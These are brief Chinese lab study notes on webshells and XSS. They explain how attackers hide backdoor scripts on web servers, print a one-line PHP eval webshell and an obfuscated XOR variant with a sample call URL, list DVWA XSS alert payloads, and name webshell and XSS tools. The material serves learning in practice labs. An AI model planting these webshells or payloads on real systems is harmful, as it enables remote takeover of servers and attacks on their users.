WEBSHELL&XSS

WebShell

webshell就是以asp、 php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页
后门。
黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,
然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
隐蔽性强 功能强大 穿越防火墙 无系统日志

大马
功能比较齐全的Webshell,由脚本语言编写,
提供了文件操作、数据库管理、执行命令等功
能,一般代码量比较大。
小马
也叫一句话木马,主要特点是代码量比较少,一般就一
行。使用时用一些工具进行连接,比如菜刀等。

<?php @eval($_POST['attack']) ?>

中国菜刀的其他版本
蚁剑、冰蝎、哥斯拉

原理：
参数可控，后台执行

upload-labs
超惊艳的一句话

<?=~$_ = '$<>/' ^ '{{{{';
@${$_}[_](@${$_}[__]);
?>

http://192.168.3.22/1.php?_=assert&__=phpinfo();

两个参数，执行函数名&密码

XSS注入（反射、存储）

/DVWA/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27a%27)%3C/script%3E
/DVWA/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27a%27%29%3C%2Fscript%3E#

XSS注入
能弹框就认为存在XSS

blue-lotus蓝莲花
beef 功能强大
xsserme

绿帽黑客，在外面很牛B，给别人做安全，回到家一看，自己电脑被黑了